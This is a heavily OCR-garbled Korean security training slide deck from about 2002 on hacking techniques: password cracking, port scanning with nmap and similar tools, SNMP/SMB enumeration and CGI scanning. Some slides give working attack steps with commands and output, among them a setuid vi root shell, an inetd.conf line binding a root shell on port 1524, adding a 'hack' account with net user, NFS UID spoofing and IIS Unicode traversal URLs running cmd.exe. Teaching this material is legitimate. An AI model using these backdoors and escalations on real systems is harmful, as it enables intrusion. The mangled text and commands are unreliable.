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(hack)
P “ ” “ ” “ (Producer)”
(hacker) : ,
. (Hack + Producer) => Hacker.
&5
s Intruder, attacker, cracker
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1)

(
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3)
XD XED X1 XD I XD

Command Programming
Password File Permission Snifin Buffer P2P messenger
(setuid) Y Overflow Attack
Worm
Password Configuration Spoofin Format Wireless
Error pooting String Attack
Environment DoS > Distributed Advanced
Variable Error DoS Kernel Backdoor
Scanning— Web Atteck DB
Attack
Kernel
Applicatio Backdoor )
Backdoo '
. S Window
Virus .
Trojan
A.G.W.
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Informational Warfare
Hacking, Password Cracking
Malicious Software, Virus
Trojan horses, Worm, Hoax, Logic bomb
Social Engineering, Disaster
Network Analysis, Eavesdropping

Traffic Analysis, Brute-force Attack
Masquerading, Packet Replay,
Message Modification
Unauthorized Access
Denial of Service
Dial-in penetration attack(war dialing)
Email bomb, Spam mail, Email Spoofing

(Back Orifice, Daemon Tool
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Worm

Worm
: . Worm
Morris 1988 Topological 6000
Code Red 2001 Scanning ~300,000
CRClean 2001 Passive none Anti-Code-Red worm.
) Scanning Local subnet scanning.
Nimda 2001 ~200,000
Others
Scalper 2002 Scanning <10,000 10
Slapper 2002 Scanning 13,000 Scalper Code
Sapphire 2003 Scanning >75,000 10
(Slammer)
A.G.W.
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=i |§| http A e, securityfocus. comy’
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MNews Archives

Guilty Plea in Kinko’s Keystroke Caper

By &ewrin Powdsen Jul 18 2003 4:20PM PT

A Mew Tork cyberthief bugged the public access
machines at thirteen Manhattan Kinko's shops for
nearly two years. His take: hundreds of online banking
passwords. ... ==

DirecTVY dragnet snares innocent techies

By Kewin Sfowsen Jul 17 2005 1:1540 PT

In recent months the satellite TV giant has filed nearly
9,000 federal lawsuits against people who've
purchased signal piracy devices, But sorme of those
devices have legitimate uses, and innocent computer
geelks are getting caught in the crackdown. ... ==

““ Honeynet: Carders are Getting Bold
= IE Bugs Keep Coming

| FROMTHEWIRES |
= Hackers attack Cisco flavw; Mo outages

reported
By Maithew Fordahd, The dAssociated Sress

Jul 18 2003 12:20FM PT
= Exploit of Cisco flawr released; no outages

= Vulnerabilities = Library = Calendar “: Tools = Serv

_MICROSOF

My sccount | Signin | AboutUs | Media Kit | Contact -~
Entire Site Go

SecurityFocus
Mewsletters and
Mailing Lists

Subscribe Now

Newsletters Mailing Lists

= advertizsement -

symantec ThreatCon
Gilobal threat exposure

LogParser Jul 21 O3 ':1'.?:23_G|"’1'T
By Mdards Sornetd ol 15, ZO005 e

The purpose of this article is to demonstrate log file Threat Con Defnitons
forensics for II1S using S3L queries with Microsoft's
LogParser toaol. ... ==

FREE Webinar on
Columnist Arc

Penetration
Testing

Waiting for the Worms
By Tien Mollen

' Jul 21 2003 1z:0048M PT - adwvertisement =
The hole's been announced, the patch has

been released. Mow there's nothing to do but wait for JUGG LING MULTIPLE
the warrm to corme and wreal: its ugly havoc, ... == SER“ER SECU le

Vulnerabilities Database

2 wfatchSuard ServerLock Physical Memory Dewvice
Access Yulnerability

2 watchGSuard ServerLock Unauthorized Kernel Module
Loading “Yulnerability

= Info-ZIP UnZip Encoded Character Hostile
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Frequently Asked Questions.. Get the answers here!

What is NTBugtraq's Disclosure Policy?

Home Archives  List Charter Editorials FAQs Crownloads

& Welcome to NTBugtraq! - Take the Polls

MTBugtrag is a mailing list for the discussion of security exploits and security bugs in WWindows MNT, Windows 2000, and YWindows XF plus 30 aqasnm;ﬂm
related applications. For a complete description of the list please click the "List Charter” link abowve. can he wrong!

Ag the Editor of NTBugtrag, and "Surgeon General” of TruSecure Corporation, Russ Cooper has frequently commented on current Microsoft
Security issues in the news. If you're working on a story and would like to contact him, email Buss Coopendirc. on.ca or call him directly at 1-705-573-3405.

e Click here for PGP information.

What's New at NTBugtraq!?

To see the MNews Archives, click here.

Unles=s othemwise noted, all information ®1997-2000 Russ Cooper, @2000-20032 TruSecure Corporation

N |
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PIEFESOIHA T www.cultdeadcow.com

3 CULT OF THE DEAD COW — Microsoft Internet Explorer
I} m & = = s3Iy =

@Pooo £

CULT OF THE DEAD COW.

PARAMEDIA = est. 1984 . 5.0

This site may contain explicit descriptions of
or advocate one or more of the following:

adultery, murder, morbid violence, bad
grammar, deviant sexual conduct in viaolent
contexts, or the consurmption of alcohol and
illegal drugs.

Then again, it may not.

Who knows?

enter cOc main site
enter cDc blog page
enter Hacktivismo site

E1M9534 - 2003 cDc communications
bang the head that doesn't bang

i CIE{S!
2 4 Internet Expl,..
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Log

Crash
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&5 (permission)

UNIX :

(rule)
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&5
. . Is —al /usr/bin/passwd
il xi
£ Connect Edit Tools Window Help =] x|

e FE 2RO DO

D 1(oot) (eoot) 1434 Jon 20 10:02 /etc/passid

|| [#ennected
/ /
| 4 /
Ly, _ | d
&5 rw- ( )
£ r-- ( )
&5 r-- (

A.G.W.
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&  setuid / setgid

& (rule)
& owner
owner
& setuid
e passwd
e mall

26
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=z  setuid

. . Is —al /usr/bin/passwd

# PengulMet - [11,4.2,191:23 Telneti] — 10 ]
&£ Connect Edit Tools ‘Window Help — =)=
|F~ F DRAE EHe

e fraers tﬂt,lfu_wmﬁm s —al fusr/bin/

@ root 22312 Sep 26 1999 jusr/bin/passud*

FooromEtna-s foyh m:ﬁ]ﬁi

[ [ T T [Zonnected

. r-s : s suid

A.G.W.
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=  setuid ( )

# Pengullet- [11,4.2 151:23( Telneti]
#£ Connect Edit Tools Window Help

=10l x|
=18} x]

| F | B2@EE RN
[FoyFfometnars foufomell passiud
Changing passaord for Foyfome
Casvent) INIX passiaord:
fen LMIH passaord.!
Fetupwe nel UNIH passiaord:
asztdl: all adbhent icat ion tokers wpdated suceesshul ly
[FoyFfometnas FfoyFfomeld

[ | [Connected

. /etc/shadow

e Jetc/shadow root
e passwd root

A.G.W.
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s ()

( : D / )
=z One-way-Hash

(MD5, MD4, SHA-1 )

One-way > J
~ hash
1234 - 81dc9bdb52d04dc20036dbd8313ed055
N/
) / "\

A.G.W.
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e Unix : /etc/passwd
o WINNT : \winnt\system32\config\SAM

@

£

A.G.W.
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= Password Cracker
= Dictionary
= Dictionary
« Word list (Dictionary)
esftp://ftp.cerias.purdue.edu/pub/dict/
eshttp://packetstorm.securify.com/Crackers/wordlists/
« Password Generator
&pwd-gen.c
e Password Cracker
£¢50a-nt-0.20.tgz (Unix )
&1.c201exe.zip (NT, Dos )
&NTCrack.tar.gz (Unix, NT )

A.G.W.
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= Brute Force

( , , ,
&5 19415 = 733904224

&6 1 94 " 6 = 689869781065

» Bruteforcer
zMDcrack

A.G.W.

32 2002 A.G.W, All Rights Reserved CISA (




&5

shadow password system

KR & &R R R

/etc/passwd

/etc/passwd ,
/etc/shadow

shadow
AIX : /etc/security/passwd
BSD4.3-Reno : /etc/master.passwd
HP-UX : /.secure/etc/passwd
Linux : /etc/shadow
Solaris : /etc/shadow

WINNT : \winnt\system32\config\SAM

root

A.G.W.
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&
e Unshadow.c :

 Pwdump3.exe : NT

A.G.W.
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& er=zwsooem : setuid

e information and Communlcations Univessity

&  setuid
e Step 1
& root
& cp /usr/bin/vi [tmp/vi2

2 chmod 4775 vi2

(Bmars =101 ]|
Eile Edit Oprions Send Recelve Aindow Help |
[root@mars ~tnpl# cp ~#binsvi ~thpruil
[rootBmars ~tnpl#t chmod 4775 vild
[root@mars ~tnplit

A.G.W.
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e Step2
&5

& [tmp/vi2 test.txt

Emars =1oi x|

File Edt Options Send Recelve Window Help
[foyf omeBmars foufomels ~tmpruid test.ixt

2 Vi mode ‘Ish’

:1sh
hash#t id

1id=518(foyfone) gid=518(foyfome) euid=0(root) groups=518(foyfone)
hashit whoami

@ | & lamsiees (1CPAP 1508 | ooool ||

A.G.W.
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&5
& ?
&5
.
.
.
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(Ping sweep)

(Fingerprint)

100.10.10.X

Alive

:7067

Windows NT  Solaris 2.6 HP 10.20
7 \\ 7 \\
Netbios

SMTP Telnet Www
A 1S 5.0

Sendmail 8.9.3 A Apache3.0 __ V¥
A

I

| o
1’

|/'
i it

A.G.W.
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&5

, patch

Firewall Ruleset

40
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25
. Secunix, . SecuScope
(Local) . SecuGuard SSE
. secuiSCAN

(Remote) . NetFeeler

ISS : SSS, Axent : ESM
(Local)

ISS : ISS, Axent : NetRecon
(Remote) NAI : CyberCop

. ISS  NetRecon

5~60 %
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z  TCP connect() scan
&5 TCP
&

° user port scan

A.G.W.
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#  TCP Stealth scan

TCP

SYN Half Open scan
Window scan

FIN scan

Null scan

XMAS scan

43
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&  SYN Half Open scan

=  SYN packet , SYN|ACK RST
connection
s
. TCP connection
connect()
s
e firewall packet filter log

44 2002 A.G.W, All Rights Reserved
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&  FIN scan, NULL scan, XMAS tree scan

& port packet
s
« packet log
o firewall
s
. scan 100%
e Windows

45
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z  FTP bounce scan
=z  FTP bounce :

firewall

PORT

FTP

packet filter

disable

FTP

46
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=  Web Proxy

Request : CONNECT http://target.com:23 HTTP/1.0
Request : GET http://target.com:21 HTTP/1.0
Request : POST http://target.com:25 HTTP/1.0

& Gopher Proxy

Request : ftp:any.ftp.site.com@/

& Stateful Inspection Firewall Scan

FTP passive mode

A.G.W.
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&  UDP port scan

& UDP port ICMP_PORT _ UNREACH
port
=z UDP ICMP
& ICMP scan
A.G.W.
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& 0OS Detection

&5

Banner

telnet, www, ftp

& TCP/IP  Fingerprint

TCP window size . IP Header flag
Size
Nmap . IP Header flag
Response

0S

49
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& UNIX

finger, identd, snmp, sendmail option, rpc.rusersd

=z Windows

SNMP
SMB Query

sid2user, user2sid

50
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o.4.

Ennumeration Command

& UNIX

Banner
SNMP get, next, walk
rpcinfo —p, showmount —e

. finger, rusers -, sendmail vrfy/expn
command

A.G.W.

51 2002 A.G.W, All Rights Reserved CISA (




L4

 BIREESICH

Informiation and Communlcations U niversty

=z Windows

SNMP browser
SMB

net command

null session

. sid2user, user2sid, snmp

52
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SNMP Browser

z  SNMP(Simple Network Management Protocol) :

=z  SNMP Browser

e SNMP

53 2002 A.G.W, All Rights Reserved
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Ug SNMP
e Step 1

= |P Browser
& Subnet Address

& Subnet Mask OK

2! 1P Browser = ;Ig[ﬂ

_Edrer ‘Submet  Options Ijeh:l

Subret Address

[11.4.2.145 _
2552862560 %24
T2 |

A.G.W.
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. Step 2 :

&' 1P Browser 11.4.2.128'W255.255.255.128

File Modes Subnet Options Wiew Hslp

28| wle|a|&l Al &l ©

B 11.4.2.205

Hub ports

- Routes
ARP Tahle

..... P 11.4.2.206

..... 9 11.4.2.210

= 3 11.4.2. 220
3l Vindows NT

System MIEB
Interfaces
Services

- Accounts

ﬁ ?.1"REe

ﬁ Guest
% dizecret

UDFP Serwvices

SeculilCAN

s Cizsco Catalyst 1900

..... % Community String: public
; Syatem MIE
Interfaces

TCP/IF Merworks
IP¥ Network

TCP Connmections

MERCURY

SE-FILEIEEVER

% Commumnity 3tring: public

&% hdwinistrator

=

[Subriet Sean Completed

@ SNMP

55
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=  SMB Browser

&  SMB(Server Message Block)

=z  SMB Browser

/

SMB

(

)

brute force

56
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=z  SMB
e Step 1

&5 Scan
B Il b

Ele Help

A From (1142730
a0 [iiE

|SMBScanner v1.0 by FLoW - 1H'98

A.G.W.
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e Step 2
=i

Eil=  Help

: :F'tti'rnimﬁan_
1 To [r142145

A.G.W.
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k: ____._-/" infomnation and Sommunlcations U rivess

CGl scanner
& CGl
&
 Count.cqi, test-cgi, nph-test-cgi, php.cgi, handler, webgais,

www-sgl, websendmalil, webdist.cgi, faxsurvey, htmlscript,
pfdisplay, perl.exe, wwwhboard.pl, view-source, campas,
aglimpse, glimpse, man.sh, filemail.pl, maillist.pl, jj, info2www,
files.pl, finger, bnbform.cgi, survey.cgi, AnyForm2

A.G.W.
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& 1./ cgichk XXX.XXX . XXX.XXX

_|o| x|

File Edit Options Send Hecelve MWindow Halp
[foyfome®mars cgichklS .-,cgichk xxx.korea.ac.kr

TTP-1.1 200 OK

ate: Tue, 13 Feb 2001 06:47:34 GNT
Server: Apache-1.3.3 (Unix)
onmection: close

ontent-Tupe: text-html

IRECTORIES:

Found ~image (200)
INTEREST :

Found ~cgi-hin-s (200)

SPECIFIC:

[foyfome@mars cgichkl$
@l | | |ANSEBBES | TCRAP [15:54 | moool -

A.G.W
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Informiation and Communlcations U niversty

=  RPC

z  RPC(Remote Procedure Call)

& rpcinfo

portmapper

RPC

61
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= infomation and Communications Univessity

& er=yEsnm

e STEP 1

& . rpcinfo
Eeas =lofx

Fite  Edit Cptions Send Recelve Window Help
[rootBmars foyfomel#t rpcinfo -p

=R I HE ae EZE

100000 s 1] 111 portmapper

100000 pid udp 111 portmapper
[rootBmars foyfomel

@l 1 | |ANSHBES | TCPAP [17:25 | DoOO) |

A.G.W
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= nmap(The Network Mapper)

& OS Detection : OS
& FTP bounce scanning :

& Stealth scanning :

& Port scanning :

& (DoS)

A.G.W.
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Option
& ST : TCP

& SS: TCP SYN (stealth)

& SF . FIN

& SP . ping ,
& sU : UDP

& 0

z b FTP

A.G.W.
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7\

Interesting ports on (11.4.2.191):
(The 1512 ports scanned but not shoun below are in state: closed)
dtate Seruvice
open echo
open discard
open daytine
open ftp
open telnet
open tine
open linuxconf
apen sunrpc
open auth
open login
open shell

map run completed — 1 IP address (1 host up) scammed in 1 second
[root@nars foyfonellt |

@l | | |ANSIBES |TCRAP [1711 | ooool | =]

A.G.W.
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Interesting ports on (11.4.2.76):
(The 1519 ports scanned but not shoun below are in state: closed)
dtate Seruvice
open loc-sru
open nethios-ssn
open nicrosoft-ds
open listen

map run completed —— 1 IP address (1 host up) scanned in 1 second
[rootenars foufonel#

@l T | [aMELEES  [TCRAP (1713 | ooool
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e (S Detection

25 . nNmap —0 XXXXXXXXXXXX

Interesting ports on (11.4.2.76):
(The 1519 ports scanned but not shoun below are in state: closed)
dtate Jervice
open loc-sru
OpeEn nethios-ssn
Open microsoft-ds
open listen

TCP Sequence Prediction: Class=random positive increments
Difficulty=10389 (Worthy challenge)
Remote operating suystem guess: Windows 2000 RC1 through final release

map run completed — 1 IP address (1 host up) scammed in 1 second
[root@mars foufoneld

@l 1 | |ANSIEBBS | TCRAP [17.15 | ooool
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Informiation and Communlcations U niversty

# mscan(Multiple Scanner)

. . Johann sebastian bach
e mscan
& wingate

& phf, handler, test-cqgi
& NFS exports, statd, named

& X server, ipopd, imapd
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& er=yEsnm

= information and Communications Univessify

7\

& : ./mscan —c 10 —h ac.kr > ac.kr.log &

—> ac. kr 10

File Edit Options Send Heceive Window Help

[fouf omePmars mscanlh .-mscan -c 10 -h ac.kr > ac.kr.log &
[11 26003

[foyfomeBnars mscanl$ scanning with 10 children

He patient, compiling IP list.

Done getting ip’'s.

.scan by jshach — june~1998.

hanks to #kode for keeping me sane this year,
heing my friends, and inspiring ne to wurite
his prog.

@l ] | |aNSIEBS | TCRAP 1341 | cooal

-0 x|
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Informiation and Communlcations U niversty

& SSCan

. . Johann sebastian bach

. mscan
=z buffer overflow
& cqi

&5

A.G.W.
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b / nfomnation and Communications Univessity

7\

. OS Detection

&5 . /sscan —0 XXX XXX XXX . XXX

File Edit Options Send Hecelve Mindow Help
[root@mars sscanl#t .~-sscan -0 ¥xx.kaist.ac.kr
<[ = report for host XxXx . kaist.ac.kr =
D80 (wuwl 1> <[ tcp port: 23 (telnet) 1>
: 143 Cinap2) 1> <[ tcp port: 110 (pop-3) 1>
: 111 (sunrpcl 1> <[ tcp port: 79 (finger) 1>
25 (smtp) 1> <[ tcp port: 21 (ftp) 1>
xxx.kaist.ac.kr: os detected: linux 2.0.x

xxx.kaist.ac.kr: root: is a user who has never logged in.
<[ = scan of xxx.kaist.ac.kr completed =

[root@mars sscanli

@l 1 1 |ANSIEBS | TCRAP [14:33 | boool

_ ol x|
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 PISEES0ICHE N

R / nfomnation and Communications Univessity

Vulnerability check

& :/sscan XXX XXX XXX XXX / n (N

File Edit Options Send Hecejve Mindow Help
[root@mars sscanlft .~-sscan hackers.con-Z24
[#]1-— Checking host: 64.78.133.7
<[ tcp port: B0 (wwuw) 1> <[ tcp port: 23 (Helnet) 1>
<[ tcp port: 6000 (unknoun) 1> <[ tcp port: 7?9 (finger) 1>
<[ =08=: 64.78.133.8: os detected: solaris 2.x
<[ =05=: 64.78.133.2: 05 detected: irix unknoun version
mm. Unknown symb@lz on llne 10 ¢
<[ =NF3 expOrt=: 64.78.133.4: to: prometheus dir: -export-hone-shar
<[ =NF3 expOrt=: 64.78.133.4: to: srvZ dir: -export-home-sshared 1>-
-<[ =UULN=: 64.78.133.4: sendmail will “expn’ accounts for us
—<[ =UULN=: 64.78.133.4: solaris rumming statd (automountd remote?)
—-<[ =UULN=: 64.78.133.4: solaris running mlockmgr.. remote overf louw?
<[ = scan of 64.78.133.4 conpleted =
<[ = report for host 64.78.133.4 =
<[ = report for host 64.78.133.1 =
<[ tcp port: B8O (wuw) 1> <[ tcp port: 23 (telnet) 1>
<[ tcp port: 111 (sunrpc) 1> <[ tcp port: 25 (smtp) 1>
<[ tecp port: 21 (ftpl 1> <[ tcp port: 22 (sshl 1>
64.78.133.5: o5 detected: solaris 2.x%
: 111 (sunrpc) 1> <[ tcp port: 25 (smip) 1
D21 (ftpd 1> <[ tcp port: 22 (sshl) 1>
D80 (wuwwd 1> <[ tecp port: 23 (delnet) 1>
: 139 (netbios-ssn) 1> <[ tcp port: 25 (smip) 1>
D21 (ftp) 1>

@ | | snsesss |1ceap 1441 |ooool
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Informiation and Communlcations U niversty

& SuperScan

’ ping

nslookup
. TCP

IP adrress

A.G.W.
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 BIREESICH

_/I Informnation and Sommunlcations Univessisy

N\

';; Superscan 2.06

Hostname Lookup

=10l

| kaist ac kr

Laokup

- Conhiguration -

Resolved I kaztac.kr

- I Fort list setup |
:_! ME—'I Inlerf-’acesl :

P
Start]143 248 :|
Stop 143 248, :|

Preve| MewC | 1254 ]

v Ignore IP zemo
¥ lgnome IF 255
[T Estract fram file

- Timeout
Ping
400

Coritiect

IEDEII:I

Fead

|4EII:IIJ

Scan type
[ Rezolve hosthames
v Only scan responzive pings
W Show host responses
" Ping only
£+ Exery port inlist
Al selected ports in fist

Al list parts fram || E5535
| parts from | | B5535

Scan
hazzes N

(o

Start

~Speed | |
b2
=

kit

Dper ports

Save |
Collapze alll
E kparnd all !

Frure. |

A.G.W.
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'\_\_\_ Informiation and Communlcations U niversty

#  Shadow scan
. : Red Shadow
e GUI

 Internet Scanner, System Crash and Crack, Tools, Plugins

A.G.W.
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Informiation and Communlcations U niversty

7\

e Site Info

ShadowsScan 2.04

| E'Options | L Tips

| save epot | $2Version | 2 About | Fhupdates | EFBuy now

_inlx

il e e

Tritermet Tools

Sike Info

SCAmErs:

Mall list serify

System Crash and Crack

Toolk:
Plugins:

Addiess -

o5 :

Fip Server :
HTTP Server -
SMTP Server :
POP3 Seiver -
NNTP Server :
DHS Seiver -
S5ocks Server :
F[.Dfl'f.y_. IS'Er'fe_‘-‘r-:
Telnet Server -
Imap Server :
Samba Server :
S5H Server :
Finger Server :
IP Address

Site Info

Mot Detect,

220w r-zecure.co.kr FTR server Mersion wu-2 6,101 1'Wed Aug 23 17:32:44 K5T 2000 ready,

Apached1.3.12 (Unix) ResindT.2.0 PHP/4.0.0

+OK POF3 e n-secure.co ke v B4 server ready
Mot Detect,

Mot Detect
Mot Detect

Mot Detect

Mot Detect

55H-1.992 2.0 55H Secure Shell [non-commercial)
Mot Detect '

211.50.17.185
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Informiation and Communlcations U niversty

* Nslookup

2 04

| 'ﬁS’a‘fﬂ"fEP@ﬂ-| %""‘h{ﬁr_ﬁ";ﬂ | 2 About | gg.upd,ates | S Buy o

Iritermet Tools

Site InfFao

SCAmErs:

Mall listserify

Ping | Tracert | Tehet [ Fsiooki

:

| DNS Info | NetStat | Finger, Echo | Time UDP | Wheis |

Hostrianies Iwww.knrea.ao.kr

162152610 (1 addresses)

Lackup

|

MName

| Ip &ddress

System Crash and Crack

Tooks

T

Plugins:

\/ v korea. ac. kr

163.152.6.10
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! infermaiion and Semmunlcaticns Univessity

Shad :| wescan &.04

'optons | QTips | ElSavercpon | $¥vesion | 2 about | Fhipdates | EFBupnan

e -
System Crash and Crack
Toals

File: Infa:
Metwork I Devices I Printers: I Engines I Diives I Time Zane G
Campare fil EEPC l Windows 2000 I CPLU I Memory I Display | APM I Media

— ‘warkstation identification
g Machine name IFri-'-T"FEME' ‘Caps Lock
o [ Wi Lok
— BIOS information
Disk Info- Name [AT/AT COMPATIBLE
Coppright [PhoenisBI0S 4.0 Release 6.0 0156
Date [12/07/99
Extsndedinfo |

Resgurce Explorer

BEE wewiedit

Copy-Master

Plugins:

A.G.W.
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=z Secu SCAN

— Windows, UNIX, Linux,

& . setup.exe , Rebooting

&5 . One Click

& Windows NT/2000 Standalone

& ( Open, Save, Load

A.G.W.
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i / Informiation and Communlcations U niversty

Secu SCAN

MIM(S) HEER) =2V

) e AR PN = e

= 2FE A.SH(T)

BIEI(M) EE2H) e
EEEETE

Al B = [2] HerE : wwwilS/unicode S8  High

[Z2E11.4.2.1-11.4.2.150 Paort : &l Frotocol: TCP
& TUsH [@ N |g saemy| HMEE ;|15 M 05 0 STHEE= AABS WEAFT AN (il 2 22
= o ETH Y [E2E [ MHI= | =E/= mnicode #IE 0128 2ol Azl 2=l=] HEES 3G 5= 2ot ot
aze ] 2000/12/13 14:56:31  11.4.2.108  WWW  EQjicp ;-‘ _\_EDIEWIED'E! “Sﬂﬂ'lz-"‘r '“Eﬂ'}i SE U-loﬂ—g:"g '}ralilﬁ;[”:: ""_EEur@!'i'r
11423 W] 2000/12/13 14:56:32  11,42.109 | Wi B0/cp + GICh Brel ofE Sa0l=l FX|slol UCH 2HIE olEE EEEe U
11424 @ 2000712713 14:65:32 1142108 W 804cp Choolajpt 2 QE=Zol DFTS & < O
114,26 (@] 2000412413 14:55:32 11,4, 2,109 i 80/cp
11,427 [B] 2000412/13 14:56:55  11,4,2,129  SMB 139/tcp Htto:/ftar pat . server fsoripkss . B=181c. Swinntsyetend s 2 exetlotdir+o! N
ngg [E] 2000/12/13 14:56:56  11,4,2122  SMB 139/tep httoiistar get zerverfoor ipbel | Bo08y. Swinntievetend2fond. cvetyorel r+o i
b [m] 2000/12/13 14:56:56 | 11.4.2.135 | 5MB 139/tcp httpid ftar get cerver foor ipted | Bolfat . Swinntlovetendfond et oral r+o
11.4.21 % ggggﬁ}g}g }jgggg ng}ég gmg }ggﬁcﬂ http:fftarpet . servardscriptss . BdlESF. .)'w|nn'i:)':y:i:en'ﬂ?.r’crld.e-:e'?fc"\dir-h::'H
;i 11,421 CIRETEE SB[ 1142104 | SMB 139..«2'3 htte:/ftorest server/soripts Bclils, Swinnt!systendl/ond exePiordinro: X
O 11,421 & 200041213 T4EREE 1145102 |SMB 139z’tCE http: e ost server feeripkss | Bo1%0c,  Swinntdsvstend?dond, axe®lordirto H
----- OE 11,4221 [UNKNowr— @ 2000/12/13 ]4.55255 114270 =MBE 139/tcp httpidftaroet  servardscrietss  Ecl%ec, Swinntdsvsteniilond exsTrordirtci N
(AR 114,222 [UMKNOW e o httpi/ftarpet  servar fsoripkss | %d0%af, Swinntisystend2 ond, cxsFrondirto N
BT 114253 [ONKNOW @] 2000/12/13 14:56:56 1142184 SME  133tcp :
_____ E 1473 [HHA2] El 2000/12/13 14:56:56 11.4.2.144 | SMB 139/1cp http .-".-:'tBrQEI‘t serverd/meadas .xcﬂg&f. G Bolget LS B
..... EE 11473 [2MEH W] 200041213 14:56:56 1142116  SMB 139/tcp af o Awinntfaystens2somd el obdi rhct i
----- EE 11,4237 22 [H] 2000412413 14:56:57  11.4.2115 | SMB 139/tcp 128 MicrosoftAle] security buolletindf] 2= MEOO-00TAE A E5pd IS HH B Patch LT
[ 11.4,2,35 [M352] [@] 2000412413 14:56:57 11.4,2.108 | SMEB 139s1tc Y OF BHCH,
..... EE 11.4.239 [DROP] [ 2000/12/13 14:56:57 11,4270 | SMB 1 | L hbbpids i . b o lomdsfer 14 a
_____ = Hi%i? ECHEDHr;H @] 2000/12/13 145657 (142135  SMB 9, 45 @ 113 4.0 tipi v, nicrosoft  conrmtserver/ntsddown loadscritical /a2 B3362
----- | SE 200012413 14:57:06 11.4,2,38 8l/tc 5 . i : oA ey -
EE 1147 42 [SITESERY % 2000;:1%13 4ET:06 114238 auitcg 2 113 3.0 _hite il nicrosoft confwincoustob down leads/cr it ical /cBB3IG2 =
----- CE 11.4.2.43 [LLYYL] (B 2000/12/13 1457:06 114,26 80/tcp ZTHEHR 2= IDA TFES 0185 ISMHI2 Physic..,  ciWinetpubitwy
----- o Hgggg [r\fisDrs 1 B 2000/12/13 1457:06 11,4 80/tcp ZETHEHA 2= DA TFY = 0123 ISME 2] Physi,..  c¥inetpubw
----- LSy o s Windows NT/2000AH12] ISMEO Extended UNI,, | [%ci%lc] J
E 1425 000412413 14:57:06 11.4.2.38 LA 80/4cp s WT/2000MH 2] ISABIHI Extended UNI... [#ac029y 202
| 11425 T T e ——— —— Lajara ss] =2k Cal 2A =» [fogi-bin/htimage. exel
= = 2000412413 14:57:07 11.4, 2,38 WY 80/tcp F2Fer CGl A => [fissamples/exair/howitwoar,,,
| 2000412413 14:57:07 11.4,2,38 W 80/tcp F|oFsE CEl 2A = [/iissamples/sdk,a’aspfdlocs... _lLI
4 L3
:’:IlNo | A2 |<E§é.*§ T -]
: S oldl] @ ocan Complete
128 2000412413 14:57:54 < 114,271 [DAMIEL] : Scan Completeds
129 2000412413 14:57:54 < 114,238 [MS52] : Scan Completed>
130 2000412413 14:57:54 < 11,4.2111 [BSEAYBIKANALWIN] : Scan Completed?
131 2000412413 14:57:54 < 11,4,2115 [SE- \"ANG] Scan Completed>
}gg %gggﬂg}g }i E;EE l;11 eézﬁ i l[Fc.lﬁ.LCOgI\é] Scan Completed> A0
£ ax outrer Index
Z=H| [ NOM [

A.G.W.
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 BIREESICH

W inforrmation and Sommunications University

& TCP, UDP

A.G.W.
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 BIREESICH

k. _/I Informnation and Sommunlcations Univessisy

tttep

systat

20/tcp 514/tcp  shell
ftp-data 110/tcp  pop3 1433/tcp  MS SQL
21/tcp ftp 111/tcp  portmap Server

22/tcp 119/tcp  nntp 1521/tcp Oracle
ssh 137/udp  netbios 1524/tcp

23/tcp name ingreslock

telnet 138/udp  netbios 3306/tcp mSQL
25/tcp datagram 5631/tcp PC
smtp 139/tcp  netbios Anywhere data
53/tcp session 5632/tcp PC
dns 143/tcp  imapd Anywhere stat
79/tcp 443/tcp  https 6000/tcp X11
finger 513/tcp  rexec 12345/tcp Netbus
80/tcp 513/tcp  rlogin 31337/tcp Back

83
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. inetd

& inetd /etc/inetd.conf

& ps -ef( pPS -aux)

° netstat -a, netstat -n

& ps -ef( PS -aux)

e NT

[ -0 ]

84
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Informiation and Communlcations U niversty

2  .rhosts

z  rlogin, remsh, rcp

rlogin - Remote Login

remote host

remsh - Remote Execute Commands

I'cp

- Remote Copy Files

85
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& /rhosts  /etc/hosts.equiv
e $USER_HOME/rhosts : User Equivalency File

&5 -

e /etc/hosts.equiv : System Equivalency File

&5 =

& , root /etc/hosts.equiv

A.G.W.
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Informiation and Communlcations U niversty

& .rhosts hosts.equiv
 hostsname username
& hostname username
 hostsname

2 hostname

A.G.W.
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Informiation and Communlcations U niversty

& rhosts hosts.equiv
e + 4+
&
o +
&

e 4+ username
& username
e hostname +

2 hostname

88
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Informiation and Communlcations U niversty

&5

rlogin

# rlogin localhost -| root

89
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&5

inetd

&5

&5

root inetd, inetd.conf
root shell

inetd
/etc/inetd.conf : inetd
inetd -s
/etc/inetd.conf -s /tmp/inetd.conf
/etc/inetd.conf

A.G.W.

90 2002 A.G.W, All Rights Reserved CISA (




&5 /tmp/inetd.conf

& Ingreslock stream tcp nowait root /bin/sh sh —

STEP 2

& [tmp/inetd.conf root inetd
& [usr/sbin/inetd -s /tmp/inetd.conf

STEP 3

& ingreslock (1524) root shell

A.G.W.
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'\_\_\_ Informiation and Communlcations U niversty

. /etc/hosts
(NT  $NT_HOME\system32\drivers\etc\hosts, Imhosts)
. /etc/services : :
(NT  $NT_HOME\system32\drivers\etc\services)
e  $USER_HOME/.rhosts :
. /etc/resolv.conf
. /etc/inetd.conf : inetd
. /etc/syslog.conf :
. /etc/passwd

. /etc/shadow : Shadow

A.G.W.
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X & &R R

K& &R R

ifconfig -a
(NT ipconfig /all)
netstat -rn :
netstat -ni :
netstat -n :

netstat -a :

ypcat : NIS
yppasswd : NIS
letc/rc .

/etc/fstab :
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Informiation and Communlcations U niversty

& NT net

(NT net )
net help : net
net accounts /minpwlen:7 : 7
net user hack hello77 /add :

net group team /add :

net start telnet : telnet (Win2000 )
net session :

net file :

net share sharing=c:\temp : c:\temp sharing

net use \\200.200.200.200\sharing * /user.guest :
net view \\200.200.200.200 :
net time \200.200.200.200 :

A.G.W.
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) IR BES0IHE - NFS

Informiation and Communlcations U niversty

7\

: : & home everyone

« STEP 1

£ mount

NFS mount

> showmount -e victim.com
export list for target.com:
/home/guest (everyone)

e STEP 2

& |ocal remote file system mount
> mkdir /a
> mount victim.com:/home /a

95
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e STEP 3

&5

f> cd /a
> |s -al

drwxr-xr-x 12 1788 1000 512 Apr 28 11:29 .
drwxr-xr-x 12 root security 512 Jun 15 18:13 ..
“fW-=————— 1053 1000 374 Apr 23 11:22 .sh_history
drwxr-xr-x 2 root 1000 512 Apr 20 10:12 src
_ —rW=r-=-r-- 1 root 1000 176 Apr 20 14:45 test
. STEP 4
& local guest (UID 1788, GID 1000)

{ > useradd -u 1788 -g 1000 guest
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e« STEP 5
2  mount
p
> cd /a )
>Is -al
drwxr-xr-x 12 guest others 512 Apr 28 11:29 .
drwxr-xr-x 12 root security 512 Jun 15 18:13 ..
“TW=—————— 1 guest others 374 Apr 23 11:22 .sh_history
drwxr-xr-x 2 root others 512 Apr 20 10:12 src
